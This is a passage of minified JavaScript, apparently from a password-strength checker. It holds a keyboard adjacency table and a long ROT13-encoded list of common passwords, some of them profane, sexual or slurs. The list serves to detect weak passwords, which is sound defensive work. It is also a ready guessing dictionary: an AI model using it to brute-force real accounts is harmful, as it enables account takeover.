+"0",null],3:["2","5","6",null,null,null,".","0"],4:[null,null,"7","8","5","2","1",null],5:"4,7,8,9,6,3,2,1".split(","),6:["5","8","9","+",null,null,"3","2"],7:[null,null,null,"/","8","5","4",null],8:["7",null,"/","*","9","6","5","4"],9:["8","/","*","-","+",null,"6","5"]},v,H,qa,pa,sa,ra,B,w,I,J;I={};v=[o("passwords",r("cnffjbeq,123456,12345678,1234,djregl,12345,qentba,chffl,onfronyy,sbbgonyy,yrgzrva,zbaxrl,696969,nop123,zhfgnat,funqbj,znfgre,111111,2000,wbeqna,fhcrezna,uneyrl,1234567,shpxzr,uhagre,shpxlbh,gehfgab1,enatre,ohfgre,gvttre,fbppre,shpx,ongzna,grfg,cnff,xvyyre,ubpxrl,puneyvr,ybir,fhafuvar,nffubyr,6969,crccre,npprff,123456789,654321,znttvr,fgnejnef,fvyire,qnyynf,lnaxrrf,123123,666666,uryyb,benatr,ovgrzr,serrqbz,pbzchgre,frkl,guhaqre,tvatre,unzzre,fhzzre,pbeirggr,shpxre,nhfgva,1111,zreyva,121212,tbysre,purrfr,cevaprff,puryfrn,qvnzbaq,lryybj,ovtqbt,frperg,nfqstu,fcnexl,pbjobl,pnzneb,zngevk,snypba,vybirlbh,thvgne,checyr,fpbbgre,cubravk,nnnnnn,gvtref,cbefpur,zvpxrl,znirevpx,pbbxvr,anfpne,crnahg,131313,zbarl,ubeal,fnznagun,cnagvrf,fgrryref,fabbcl,obbzre,jungrire,vprzna,fzbxrl,tngrjnl,qnxbgn,pbjoblf,rntyrf,puvpxra,qvpx,oynpx,mkpioa,sreenev,xavtug,uneqpber,pbzcnd,pbssrr,obbobb,ovgpu,ohyyqbt,kkkkkk,jrypbzr,cynlre,app1701,jvmneq,fpbbol,whavbe,vagrearg,ovtqvpx,oenaql,graavf,oybjwbo,onanan,zbafgre,fcvqre,ynxref,enoovg,ragre,zreprqrf,sraqre,lnznun,qvnoyb,obfgba,gvtre,znevar,puvpntb,enatref,tnaqnys,jvagre,ovtgvgf,onearl,envqref,cbea,onqobl,oybjzr,fcnaxl,ovtqnqql,purfgre,ybaqba,zvqavtug,oyhr,svfuvat,000000,unaanu,fynlre,11111111,frkfrk,erqfbk,guk1138,nfqs,zneyobeb,cnagure,mkpioaz,nefrany,dnmjfk,zbgure,7777777,wnfcre,jvaare,tbyqra,ohggurnq,ivxvat,vjnagh,natryf,cevapr,pnzreba,tveyf,znqvfba,ubbgref,fgnegerx,pncgnva,znqqbt,wnfzvar,ohggre,obbtre,tbys,ebpxrg,gurzna,yvirecbb,sybjre,sberire,zhssva,ghegyr,fbcuvr,erqfxvaf,gblbgn,fvreen,jvafgba,tvnagf,cnpxref,arjlbex,pnfcre,ohoon,112233,ybiref,zbhagnva,havgrq,qevire,uryczr,shpxvat,cbbxvr,yhpxl,znkjryy,8675309,orne,fhpxvg,tngbef,5150,222222,fuvgurnq,shpxbss,wnthne,ubgqbt,gvgf,trzvav,ybire,kkkkkkkk,777777,pnanqn,sybevqn,88888888,ebfrohq,zrgnyyvp,qbpgbe,gebhoyr,fhpprff,fghcvq,gbzpng,jneevbe,crnpurf,nccyrf,svfu,djreglhv,zntvp,ohqql,qbycuvaf,envaobj,thaare,987654,serqql,nyrkvf,oenirf,pbpx,2112,1212,pbpnpbyn,knivre,qbycuva,grfgvat,obaq007,zrzore,ibbqbb,7777,fnzfba,ncbyyb,sver,grfgre,ornivf,iblntre,cbeab,ehfu2112,orre,nccyr,fpbecvb,fxvccl,flqarl,erq123,cbjre,ornire,fgne,wnpxnff,sylref,obbof,232323,mmmmmm,fpbecvba,qbttvr,yrtraq,bh812,lnaxrr,oynmre,ehaare,oveqvr,ovgpurf,555555,gbctha,nfqsnfqs,urnira,ivcre,navzny,2222,ovtobl,4444,cevingr,tbqmvyyn,yvsrunpx,cunagbz,ebpx,nhthfg,fnzzl,pbby,cyngvahz,wnxr,oebapb,urxn6j2,pbccre,phzfubg,tnesvryq,jvyybj,phag,fyhg,69696969,xvggra,fhcre,wbeqna23,rntyr1,furyol,nzrevpn,11111,serr,123321,puril,ohyyfuvg,oebapbf,ubearl,fhesre,avffna,999999,fnghea,nveobear,ryrcunag,fuvg,npgvba,nqvqnf,djreg,1313,rkcybere,cbyvpr,puevfgva,qrprzore,jbys,fjrrg,gurebpx,bayvar,qvpxurnq,oebbxyla,pevpxrg,enpvat,cravf,0000,grraf,erqjvatf,qernzf,zvpuvtna,uragnv,zntahz,87654321,qbaxrl,gevavgl,qvtvgny,333333,pnegzna,thvaarff,123nop,fcrrql,ohssnyb,xvggl,cvzcva,rntyr,rvafgrva,aveinan,inzcver,kkkk,cynlobl,chzcxva,fabjonyy,grfg123,fhpxre,zrkvpb,orngyrf,snagnfl,prygvp,pureel,pnffvr,888888,favcre,trarfvf,ubgebq,erqqbt,nyrknaqr,pbyyrtr,wrfgre,cnffj0eq,ovtpbpx,ynfirtnf,fyvcxabg,3333,qrngu,1d2j3r,rpyvcfr,1d2j3r4e,qehzzre,zbagnan,zhfvp,nnnn,pnebyvan,pbybenqb,perngvir,uryyb1,tbbore,sevqnl,obyybpxf,fpbggl,nopqrs,ohooyrf,unjnvv,syhssl,ubefrf,guhzcre,5555,chffvrf,qnexarff,nfqstuwx,obbovrf,ohqqun,fnaqzna,anhtugl,ubaqn,nmregl,6666,fubegl,zbarl1,ornpu,ybirzr,4321,fvzcyr,cbbuorne,444444,onqnff,qrfgval,ivxvatf,yvmneq,nffzna,avagraqb,123djr,abirzore,kkkkk,bpgbore,yrngure,onfgneq,101010,rkgerzr,cnffjbeq1,chffl1,ynpebffr,ubgznvy,fcbbxl,nzngrhe,nynfxn,onqtre,cnenqvfr,znelwnar,cbbc,zbmneg,ivqrb,intvan,fcvgsver,purebxrr,pbhtne,420420,ubefr,ravtzn,envqre,oenmvy,oybaqr,55555,qhqr,qebjffnc,ybiryl,1dnm2jfk,obbgl,favpxref,avccyrf,qvrfry,ebpxf,rzvarz,jrfgfvqr,fhmhxv,cnffvba,uhzzre,ynqvrf,nycun,fhpxzr,147147,cvengr,frzcresv,whcvgre,erqehz,serrhfre,jnaxre,fgvaxl,qhpngv,cnevf,onoltvey,jvaqbjf,fcvevg,cnagren,zbaqnl,cngpurf,oehghf,fzbbgu,crathva,zneyrl,sberfg,pernz,212121,synfu,znkvzhf,avccyr,ivfvba,cbxrzba,punzcvba,sverzna,vaqvna,fbsgonyy,cvpneq,flfgrz,pboen,rawbl,yhpxl1,obbtvr,znevarf,frphevgl,qvegl,nqzva,jvyqpngf,cvzc,qnapre,uneqba,shpxrq,nopq1234,nopqrst,vebazna,jbyireva,serrcnff,ovterq,fdhveg,whfgvpr,uboorf,crneywnz,zrephel,qbzvab,9999,enfpny,uvgzna,zvfgerff,oooooo,crrxnobb,anxrq,ohqyvtug,ryrpgevp,fyhgf,fgnetngr,fnvagf,obaqntr,ovtzna,mbzovr,fjvzzvat,qhxr,djregl1,onorf,fpbgynaq,qvfarl,ebbfgre,zbbxvr,fjbeqsvf,uhagvat,oyvax182,8888,fnzfhat,ohoon1,juber,trareny,cnffcbeg,nnnnnnnn,rebgvp,yvoregl,nevmban,nopq,arjcbeg,fxvccre,ebyygvqr,onyyf,unccl1,tnyber,puevfg,jrnfry,242424,jbzong,qvttre,pynffvp,ohyyqbtf,cbbcbb,nppbeq,cbcpbea,ghexrl,ohaal,zbhfr,007007,gvgnavp,yvirecbby,qernzre,riregba,puriryyr,cflpub,arzrfvf,cbagvnp,pbaabe,rngzr,yvpxzr,phzzvat,verynaq,fcvqrezn,cngevbgf,tboyhr,qrivyf,rzcver,nfqst,pneqvany,funttl,sebttl,djre,xnjnfnxv,xbqvnx,cucoo,54321,pubccre,ubbxre,julabg,yrfovna,fanxr,grra,app1701q,dddddd,nvecynar,oevgarl,ninyba,fhtne,fhoyvzr,jvyqpng,enira,fpnesnpr,ryvmnorg,123654,gehpxf,jbyscnpx,creireg,erqurnq,nzrevpna,onzonz,jbbql,funirq,fabjzna,gvtre1,puvpxf,encgbe,1969,fgvatenl,fubbgre,senapr,fgnef,znqznk,fcbegf,789456,fvzcfbaf,yvtugf,puebavp,ununun,cnpxneq,uraqevk,freivpr,fcevat,fevavinf,fcvxr,252525,ovtznp,fhpx,fvatyr,cbcrlr,gnggbb,grknf,ohyyrg,gnhehf,fnvybe,jbyirf,cnaguref,wncna,fgevxr,chfflpng,puevf1,ybireobl,oreyva,fgvpxl,gneurryf,ehffvn,jbystnat,grfggrfg,zngher,pngpu22,whvpr,zvpunry1,avttre,159753,nycun1,gebbcre,unjxrlr,sernxl,qbqtref,cnxvfgna,znpuvar,clenzvq,irtrgn,xngnan,zbbfr,gvaxre,pblbgr,vasvavgl,crcfv,yrgzrva1,onat,urephyrf,wnzrf1,gvpxyr,bhgynj,oebjaf,ovyylobo,cvpxyr,grfg1,fhpxf,cnivyvba,punatrzr,pnrfne,ceryhqr,qnexfvqr,objyvat,jhgnat,fhafrg,nynonzn,qnatre,mrccryva,cccccc,2001,cvat,qnexfgne,znqbaan,djr123,ovtbar,pnfvab,puneyvr1,zzzzzz,vagrten,jenatyre,ncnpur,gjrrgl,djregl12,obonsrgg,genafnz,2323,frnggyr,ffffff,bcrahc,cnaqben,chfflf,gehpxre,vaqvtb,fgbez,znyvoh,jrrq,erivrj,onolqbyy,qbttl,qvyoreg,crtnfhf,wbxre,pngsvfu,syvccre,shpxvg,qrgebvg,purlraar,oehvaf,fzbxr,znevab,srgvfu,ksvyrf,fgvatre,cvmmn,onor,fgrnygu,znahgq,thaqnz,prffan,ybatubea,cerfnevb,zaoipkm,jvpxrq,zhfgnat1,ivpgbel,21122112,njrfbzr,nguran,d1j2r3e4,ubyvqnl,xavpxf,erqarpx,12341234,tvmzb,fphyyl,qentba1,qrivyqbt,gevhzcu,oyhroveq,fubgtha,crrjrr,natry1,zrgnyyvpn,znqzna,vzcnyn,yraaba,bzrtn,npprff14,ragrecev,frnepu,fzvggl,oyvmmneq,havpbea,gvtug,nfqs1234,gevttre,gehpx,ornhgl,gunvynaq,1234567890,pnqvyynp,pnfgyr,obopng,ohqql1,fhaal,fgbarf,nfvna,ohgg,ybirlbh,uryysver,ubgfrk,vaqvnan,cnamre,ybarjbys,gehzcrg,pbybef,oynfgre,12121212,sveronyy,cerpvbhf,whatyr,ngynagn,tbyq,pbeban,cbynevf,gvzore,gurbar,onyyre,puvccre,fxlyvar,qentbaf,qbtf,yvpxre,ratvarre,xbat,crapvy,onfxrgon,ubearg,oneovr,jrgchffl,vaqvnaf,erqzna,sbbone,geniry,zbecurhf,gnetrg,141414,ubgfghss,cubgbf,ebpxl1,shpx_vafvqr,qbyyne,gheob,qrfvta,ubggvr,202020,oybaqrf,4128,yrfgng,ningne,tbsbevg,enaqbz,noteglh,wwwwww,pnapre,d1j2r3,fzvyrl,rkcerff,ivetva,mvccre,jevaxyr1,onolyba,pbafhzre,zbaxrl1,freravgl,fnzhenv,99999999,ovtobbof,fxrrgre,wbrwbr,znfgre1,nnnnn,pubpbyng,puevfgvn,fgrcunav,gnat,1234djre,98765432,frkhny,znkvzn,77777777,ohpxrlr,uvtuynaq,frzvabyr,erncre,onffzna,ahttrg,yhpvsre,nvesbepr,anfgl,jneybpx,2121,qbqtr,puevffl,ohetre,fangpu,cvax,tnat,znqqvr,uhfxref,cvtyrg,cubgb,qbqtre,cnynqva,puhool,ohpxrlrf,unzyrg,nopqrstu,ovtsbbg,fhaqnl,znafba,tbyqsvfu,tneqra,qrsgbarf,vprpernz,oybaqvr,fcnegna,punetre,fgbezl,whiraghf,tnynkl,rfpbeg,mkpio,cynarg,oyhrf,qnivq1,app1701r,1966,51505150,pninyvre,tnzovg,evccre,bvph812,alybaf,nneqinex,juvfxrl,ovat,cynfgvp,nany,onolyba5,ybfre,enprpne,vafnar,lnaxrrf1,zrzrzr,unafbyb,puvrsf,serqserq,sernx,sebt,fnyzba,pbapergr,mkpi,funzebpx,ngynagvf,jbeqcnff,ebzzry,1010,cerqngbe,znffvir,pngf,fnzzl1,zvfgre,fghq,znenguba,ehoore,qvat,gehaxf,qrfver,zbagerny,whfgzr,snfgre,vevfu,1999,wrffvpn1,nycvar,qvnzbaqf,00000,fjvatre,funa,fgnyyvba,cvgohyy,yrgzrva2,zvat,funqbj1,pyvgbevf,shpxref,wnpxbss,oyhrfxl,fhaqnapr,erartnqr,ubyyljbb,151515,jbyszna,fbyqvre,yvat,tbqqrff,znantre,fjrrgl,gvgnaf,snat,svpxra,avaref,ohooyr,uryyb123,vonarm,fjrrgcrn,fgbpxvat,323232,gbeanqb,pbagrag,nentbea,gebwna,puevfgbc,ebpxfgne,trebavzb,cnfpny,pevzfba,tbbtyr,sngpng,ybirybir,phagf,fgvzcl,svatre,jurryf,ivcre1,yngva,terraqnl,987654321,pernzcvr,uvcubc,fanccre,shagvzr,qhpx,gebzobar,nqhyg,pbbxvrf,zhyqre,jrfgunz,yngvab,wrrc,eniraf,qevmmg,znqarff,raretl,xvaxl,314159,fyvpx,ebpxre,55555555,zbatbbfr,fcrrq,qqqqqq,pngqbt,purat,tubfg,tbtbtb,gbggraun,phevbhf,ohggresy,zvffvba,wnahnel,funex,grpuab,ynapre,ynynyn,puvpuv,bevba,gevkvr,qrygn,oboobo,obzore,xnat,1968,fchaxl,yvdhvq,orntyr,tenaal,argjbex,xxxxxx,1973,ovttvr,orrgyr,grnpure,gbebagb,nanxva,travhf,pbpxf,qnat,xnengr,fanxrf,onatxbx,shpxlbh2,cnpvsvp,qnlgban,vasnagel,fxljnyxr,fnvyvat,envfgyva,inaunyra,uhnat,oynpxvr,gnemna,fgevqre,fureybpx,tbat,qvrgpbxr,hygvzngr,funv,fcevgr,gvat,negvfg,punv,punb,qrivy,clguba,avawn,lgerjd,fhcresyl,456789,gvna,wvat,wrfhf1,serrqbz1,qecrccre,pubh,uboovg,fura,abyvzvg,zlybir,ovfphvg,lnubb,funfgn,frk4zr,fzbxre,crooyrf,cvpf,cuvyyl,gbat,gvagva,yrfovnaf,pnpghf,senax1,gggggg,puha,qnaav,rzrenyq,fubjzr,cvengrf,yvna,qbtt,kvnb,kvna,gnmzna,gnaxre,gbfuvon,tbgpun,enat,xrat,wnmm,ovtthl,lhna,gbzgbz,punbf,sbffvy,enprek,pernzl,obob,zhfvpzna,jnepensg,oynqr,fuhnat,fuha,yvpx,wvna,zvpebfbsg,ebat,srat,trgfbzr,dhnyvgl,1977,orat,jjjjjj,lblblb,munat,frat,uneqre,dnmkfj,dvna,pbat,puhna,qrat,anat,obrvat,xrrcre,jrfgrea,1963,fhoneh,furat,guhtyvsr,grat,wvbat,zvnb,znat,znavnp,chffvr,n1o2p3,mubh,muhnat,kvat,fgbarpby,fclqre,yvnat,wvnat,zrzcuvf,prat,zntvp1,ybtvgrpu,puhnat,frfnzr,funb,cbvfba,gvggl,xhna,xhnv,zvna,thna,unzfgre,thnv,sreerg,trat,qhna,cnat,znvqra,dhna,iryirg,abat,arat,abbxvr,ohggbaf,ovna,ovatb,ovnb,mubat,mrat,muha,lvat,mbat,khna,mnat,0.0.000,fhna,furv,fuhv,funexf,funat,fuhn,crat,cvna,cvnb,yvnb,zrat,zvnzv,erat,thnat,pnat,ehna,qvnb,yhna,dvat,puhv,puhb,phna,ahna,avat,urat,uhna,xnafnf,zhfpyr,jrat,1cnffjbe,oyhrzbba,muhv,muhn,kvnat,murat,mura,murv,munb,muna,lbznzn,munv,muhb,mhna,gneurry,fubh,fuhb,gvnb,yrat,xhnat,wvnb,13579,onfxrg,dvnb,dvbat,dvnat,puhnv,avna,avnb,avnat,uhnv,22222222,muhna,muhnv,fuhna,fuhnv,fgneqhfg,whzcre,66666666,puneybgg,djregm,obarf,jngreybb,2002,11223344,byqzna,genvaf,iregvtb,246810,oynpx1,fjnyybj,fzvyrf,fgnaqneq,nyrknaqe,cneebg,hfre,1976,fhesvat,cvbarre,nccyr1,nfqnfq,nhohea,unaavony,sebagvre,cnanzn,jrypbzr1,irggr,oyhr22,furznyr,111222,onttvaf,tebbil,tybony,181818,1979,oynqrf,fcnaxvat,olgrzr,ybofgre,qnjt,wncnarfr,1970,1964,2424,cbyb,pbpb,qrrqrr,zvxrl,1972,171717,1701,fgevc,wrefrl,terra1,pncvgny,chggre,inqre,frira7,onafurr,teraqry,qvpxf,uvqqra,vybirh,1980,yrqmrc,147258,srznyr,ohttre,ohssrgg,zbyfba,2020,jbbxvr,fcevag,wrevpub,102030,enatre1,gerobe,qrrcguebng,obarurnq,zbyyl1,zventr,zbqryf,1984,2468,fubjgvzr,fdhveery,cragvhz,navzr,tngbe,cbjqre,gjvfgre,pbaarpg,arcghar,ratvar,rngfuvg,zhfgnatf,jbbql1,fubtha,frcgrzor,cbbu,wvzob,ehffvna,fnovar,iblrhe,2525,363636,pnzry,treznal,tvnag,dddd,ahqvfg,obar,fyrrcl,grdhvyn,svtugre,bovjna,znxniryv,inpngvba,jnyahg,1974,ynqloht,pnagban,ppovyy,fngna,ehfgl1,cnffjbe1,pbyhzovn,xvffzr,zbgbebyn,jvyyvnz1,1967,mmmm,fxngre,fzhg,znggurj1,inyyrl,pbbyvb,qnttre,obare,ohyy,ubeaqbt,wnfba1,crathvaf,erfphr,tevssrl,8w4lr3hm,pnyvsbea,punzcf,djreglhvbc,cbegynaq,pbyg45,kkkkkkk,knanqh,gnpbzn,pnecrg,tttttt,fnsrgl,cnynpr,vgnyvn,cvpghef,cvpnffb,gubatf,grzcrfg,nfq123,unvel,sbkgebg,avzebq,ubgobl,343434,1111111,nfqstuwxy,tbbfr,bireybeq,fgenatre,454545,funbyva,fbbaref,fbpengrf,fcvqrezna,crnahgf,13131313,naqerj1,svygul,bulrnu,nsevpn,vagercvq,cvpxyrf,nffnff,sevtug,cbgngb,uuuuuu,xvatqbz,jrrmre,424242,crcfv1,guebng,ybbxre,chccl,ohgpu,fjrrgf,zrtnqrgu,nanyfrk,alzrgf,qqqqqqq,ovtonyyf,bnxynaq,bbbbbb,djrnfq,puhpxl,pneebg,punetref,qvfpbire,qbbxvr,pbaqbe,ubeal1,fhaevfr,fvaare,wbwb,zrtncnff,znegvav,nffshpx,ssssss,zhfuebbz,wnznvpn,7654321,77777,pppppp,tvmzbqb,genpgbe,zlcnff,ubatxbat,1975,oyhr123,cvffvat,gubznf1,erqerq,onfxrgonyy,fngna666,qhoyva,obyybk,xvatxbat,1971,22222,272727,frkk,oooo,tevmmyl,cnffng,qrsvnag,objyre,xavpxref,zbavgbe,jvfqbz,fynccl,gube,yrgftb,eboreg1,oebjavr,098765,cynlgvzr,yvtugava,ngbzvp,tbxh,yyyyyy,djnfmk,pbfzbf,obfpb,xavtugf,ornfg,fyncfubg,nffjbeq,sebfgl,qhzonff,znyyneq,qqqq,159357,gvgyrvfg,nhffvr,tbysvat,qbbovr,ybirvg,jrerjbys,ivcref,1965,oynoyn,fhes,fhpxvat,gneqvf,gurtnzr,yrtvba,eroryf,fnenu1,barybir,ybhybh,gbgb,oynpxpng,0007,gnpboryy,fbppre1,wrqv,zrgubq,cbbcvr,obbo,oernfg,xvgglpng,oryyl,cvxnpuh,guhaqre1,gunaxlbh,prygvpf,sebttre,fpbbolqb,fnoongu,pbygenar,ohqzna,wnpxny,mmmmm,yvpxvat,tbcure,trurvz,ybarfgne,cevzhf,cbbcre,arjcnff,oenfvy,urngure1,uhfxre,ryrzrag,zbbzbb,orrspnxr,mmmmmmmm,fuvggl,fzbxva,wwww,nagubal1,nahovf,onpxhc,tbevyyn,shpxsnpr,ybjevqre,chaxebpx,genssvp,qrygn1,nznmba,sngnff,qbqtrenz,qvatqbat,dddddddd,oernfgf,obbgf,ubaqn1,fcvqrl,cbxre,grzc,wbuawbua,147852,nffubyr1,qbtqbt,gevpxl,pehfnqre,flenphfr,fcnaxzr,fcrnxre,zrevqvna,nznqrhf,uneyrl1,snypbaf,ghexrl50,xrajbbq,xrlobneq,vybirfrk,1978,funmnz,funybz,yvpxvg,wvzobo,ebyyre,sngzna,fnaqvrtb,zntahf,pbbyqhqr,pybire,zbovyr,cyhzore,grknf1,gbby,gbccre,znevaref,erory,pnyvragr,pryvpn,bksbeq,bfvevf,betnfz,chaxva,cbefpur9,ghrfqnl,oerrmr,obffzna,xnatnebb,yngvanf,nfgebf,fpehssl,djreglh,urnegf,wnzzre,wnin,1122,tbbqgvzr,puryfrn1,serpxyrf,sylobl,qbbqyr,aroenfxn,obbgvr,xvpxre,jroznfgre,ihypna,191919,oyhrrlrf,321321,snefvqr,ehtol,qverpgbe,chffl69,cbjre1,urefurl,urezrf,zbabcbyl,oveqzna,oyrffrq,oynpxwnp,fbhgurea,crgrecna,guhzof,shpxlbh1,eeeeee,n1o2p3q4,pbxr,obuvpn,ryivf1,oynpxl,fragvary,fanxr1,evpuneq1,1234nopq,thneqvna,pnaqlzna,svfgvat,fpneyrg,qvyqb,cnapub,znaqvatb,yhpxl7,pbaqbz,zhapuxva,ovyylobl,fhzzre1,fjbeq,fxvvat,fvgr,fbal,gubat,ebbgorre,nffnffva,sssss,svgarff,qhenatb,cbfgny,npuvyyrf,xvffrf,jneevbef,cylzbhgu,gbcqbt,nfgrevk,unyyb,pnzrygbr,shpxshpx,rrrrrr,fvguybeq,gurxvat,niratre,onpxqbbe,puriebyr,genapr,pbfjbegu,ubhfrf,ubzref,rgreavgl,xvatcva,ireongvz,vaphohf,1961,oybaq,mncubq,fuvybu,fchef,zvtugl,nyvraf,puneyl,qbtzna,bzrtn1,cevagre,nttvrf,qrnqurnq,ovgpu1,fgbar55,cvarnccy,gurxvq,ebpxrgf,pnzryf,sbezhyn,benpyr,chffrl,cbexpubc,nopqr,pynapl,zlfgvp,vasreab,oynpxqbt,fgrir1,nysn,tehzcl,synzrf,chssl,cebkl,inyunyyn,haerny,ureovr,ratntr,llllll,010101,cvfgby,pryro,tttt,cbeghtny,n12345,arjovr,zzzz,1dnmkfj2,mbeeb,jevgre,fgevccre,fronfgvn,fcernq,yvaxf,zrgny,1221,565656,shasha,gebwnaf,plore,uheevpna,zbarlf,1k2mxt8j,mrhf,gbzngb,yvba,ngynagvp,hfn123,genaf,nnnnnnn,ubzreha,ulcrevba,xriva1,oynpxf,44444444,fxvggyrf,sneg,tnatonat,shone,fnvyobng,bvyref,ohfgre1,uvgurer,vzzbegny,fgvpxf,cvybg,yrkznex,wrexbss,znelynaq,purref,cbffhz,phggre,zhccrg,fjbeqsvfu,fcbeg,fbavp,crgre1,wrgueb,ebpxba,nfqstuw,cnff123,cbeabf,app1701n,obbglf,ohggzna,obawbhe,1960,ornef,362436,fcnegnaf,gvazna,guerrfbz,znkznk,1414,ooooo,pnzrybg,purjvr,tbtb,shfvba,fnvag,qvyyvtns,abcnff,uhfgyre,uhagre1,juvgrl,ornfg1,lrflrf,fcnax,fzhqtr,cvaxsybl,cngevbg,yrfcnhy,unzzref,sbezhyn1,fnhfntr,fpbbgre1,bevbyrf,bfpne1,pbybzovn,penzcf,rkbgvp,vthnan,fhpxref,fynir,gbcpng,ynaprybg,zntryna,enpre,pehapu,oevgvfu,fgrcu,456123,fxvaal,frrxvat,ebpxuneq,svygre,sernxf,fnxhen,cnpzna,cbbagnat,arjyvsr,ubzre1,xyvatba,jngpure,jnyyrlr,gnfgl,fvangen,fgnefuvc,fgrry,fgneohpx,cbapub,nzore1,tbamb,pngureva,pnaqyr,sversyl,tboyva,fpbgpu,qvire,hfzp,uhfxvrf,xraghpxl,xvgxng,orpxunz,ovplpyr,lbhezbz,fghqvb,33333333,fcynfu,wvzzl1,12344321,fnccuver,znvyzna,envqref1,qqqqq,rkpnyvoh,vyyvav,vzcrevny,ynafvat,znkk,tbguvp,tbysonyy,snpvny,sebag242,znpqnqql,djre1234,irpgen,pbjoblf1,penml1,qnaalobl,ndhnevhf,senaxl,ssss,fnffl,cccc,cccccccc,cebqvtl,abbqyr,rngchffl,ibegrk,jnaxvat,ovyyl1,fvrzraf,cuvyyvrf,tebhcf,puril1,pppp,tttttttt,qbhtuobl,qenphyn,ahefrf,ybpb,ybyyvcbc,hgbcvn,puebab,pbbyre,arinqn,jvooyr,fhzzvg,1225,pncbar,shtnmv,cnaqn,dnmjfkrq,chccvrf,gevgba,9876,aaaaaa,zbzbarl,vsbetbg,jbysvr,fghqyl,unzohet,81shxxp,741852,pngzna,puvan,tnttvat,fpbgg1,bertba,djrdjr,penmlono,qnavry1,phgynff,ubyrf,zbguref,zhfvp1,jnyehf,1957,ovtgvzr,kgerzr,fvzon,ffff,ebbxvr,onguvat,ebggra,znrfgeb,gheob1,99999,ohggubyr,uuuu,lbqn,funavn,cuvfu,gurpng,evtugabj,onqqbt,terngbar,tngrjnl1,nofge,ancfgre,oevna1,obtneg,uvgyre,jvyqsver,wnpxfba1,1981,ornare,lblb,0.0.0.000,fhcre1,fryrpg,fahttyrf,fyhggl,cubravk1,grpuavpf,gbba,enira1,enlenl,123789,1066,nyovba,terraf,trfcreeg,oehpryrr,ururur,xryyl1,zbwb,1998,ovxvav,jbbsjbbs,llll,fgenc,fvgrf,prageny,s**x,alwrgf,chavfure,hfreanzr,inavyyn,gjvfgrq,ohatubyr,ivnten,irevgnf,cbal,gvggf,ynogrp,wraal1,znfgreongr,znlurz,erqohyy,tbibyf,terzyva,505050,tzbarl,ebiref,qvnzbaq1,gevqrag,noabezny,qrfxwrg,phqqyrf,oevfgby,zvynab,iu5150,wneurnq,1982,ovtoveq,ovmxvg,fvkref,fyvqre,fgne69,fgnesvfu,crargengvba,gbzzl1,wbua316,pnyvthyn,syvpxf,svyzf,envyebnq,pbfzb,pguhyuh,oe0q3e,orneorne,fjrqvfu,fcnja,cngevpx1,erqf,nanepul,tebbir,shpxure,bbbb,nveohf,pboen1,pyvcf,qryrgr,qhfgre,xvggl1,zbhfr1,zbaxrlf,wnmmzna,1919,262626,fjvatvat,fgebxr,fgbpxf,fgvat,cvccra,ynoenqbe,wbeqna1,whfgqbvg,zrngonyy,srznyrf,irpgbe,pbbgre,qrsraqre,avxr,ohoonf,obaxref,xnuhan,jvyqzna,4121,fvevhf,fgngvp,cvrepvat,greebe,grrantr,yrryrr,zvpebfbs,zrpunavp,ebobgrpu,engrq,punfre,fnyfreb,znpebff,dhnaghz,gfhanzv,qnqql1,pehvfr,arjcnff6,ahqrf,uryylrnu,1959,mnd12jfk,fgevxre,fcvpr,fcrpgehz,fzrtzn,guhzo,wwwwwwww,zryybj,pnapha,pnegbba,fnoerf,fnzvnz,benatrf,bxynubzn,yhfg,qranyv,ahqr,abbqyrf,oerfg,ubbgre,zzzzzzzz,jnegubt,oyhroyhr,mnccn,jbyirevar,favssvat,wwwww,pnyvpb,serrr,ebire,cbbgre,pybfrhc,obafnv,rzvyl1,xrlfgbar,vvvv,1955,lmrezna,gurobff,gbyxvra,zrtnzna,enfgn,oooooooo,uny9000,tbbsl,tevatb,tbsvfu,tvmzb1,fnzfnz,fphon,baylzr,gggggggg,pbeenqb,pybja,pyncgba,ohyyf,wnlunjx,jjjj,funexl,frrxre,ffffffff,cvyybj,gurfvzf,yvtugre,yxwuts,zryvffn1,znepvhf2,thvarff,tlzanfg,pnfrl1,tbnyvr,tbqfznpx,ybyb,enatref1,cbccl,pyrzfba,pyvccre,qrrmahgf,ubyyl1,rrrr,xvatfgba,lbfrzvgr,fhpxrq,frk123,frkl69,cvp\\'f,gbzzlobl,znfgreongvat,tergmxl,uncclqnl,sevfpb,bepuvq,benatr1,znapurfg,noreqrra,ar1469,obkvat,xbea,vagrepbhefr,161616,1985,mvttl,fhcrefgn,fgbarl,nzngher,onolobl,opsvryqf,tbyvngu,unpx,uneqebpx,sebqb,fpbhg,fpenccl,dnmdnm,genpxre,npgvir,penivat,pbzznaqb,pbuvon,plpybar,ohoon69,xngvr1,zcrtf,ifrtqn,vevfu1,frkl1,fzryyl,fdhregvat,yvbaf,wbxref,wbwbwb,zrngurnq,nfuyrl1,tebhpub,purrgnu,punzc,sversbk,tnaqnys1,cnpxre,ybir69,glyre1,glcubba,ghaqen,obool1,xrajbegu,ivyyntr,ibyyrl,jbys359,0420,000007,fjvzzre,fxlqvir,fzbxrf,crhtrbg,cbzcrl,yrtbynf,erqubg,ebqzna,erqnyreg,tencrf,4ehaare,pneeren,sybccl,bh8122,dhnggeb,pybhq9,qnivqf,absrne,ohfgl,ubzrznqr,zzzzz,juvfcre,irezbag,jroznfgr,jvirf,vafregvba,wnlwnl,cuvyvcf,gbcure,grzcgerff,zvqtrg,evcxra,unirsha,pnaba,pryroevgl,turggb,entanebx,hfanil,pbabire,pehvfre,qnyfur,avpbyr1,ohmmneq,ubggrfg,xvatsvfu,zvfsvg,zvysarj,jneybeq,jnffhc,ovtfrkl,oynpxunj,mvccl,gvtugf,xhatsh,ynovn,zrngybns,nern51,ongzna1,onananf,636363,ttttt,cnenqbk,dhrraf,nqhygf,nvxvqb,pvtnef,ubbfvre,rrlber,zbbfr1,jnerm,vagrenpvny,fgernzvat,313131,cregvanag,cbby6123,znlqnl,navzngrq,onaxre,onqqrfg,tbeqba24,ppppp,snagnfvrf,nvfna,qrnqzna,ubzrcntr,rwnphyngvba,jubpnerf,vfpbby,wnzrfoba,1956,1chffl,jbznz,fjrqra,fxvqbb,fcbpx,fffff,crccre1,cvaurnq,zvpeba,nyyfbc,nzfgreqn,thaane,666999,sroehnel,syrgpu,trbetr1,fnccre,fnfun1,yhpxlqbt,ybire1,zntvpx,cbcbcb,hygvzn,plcerff,ohfvarffonor,oenaqba1,ihyin,iiii,wnoebav,ovtorne,lhzzl,010203,frnenl,frperg1,fvaonq,frkkkk,fbyrvy,fbsgjner,cvppbyb,guvegrra,yrbcneq,yrtnpl,zrzberk,erqjvat,enfchgva,134679,nasvryq,terraonl,pngpng,srngure,fpnaare,cn55jbeq,p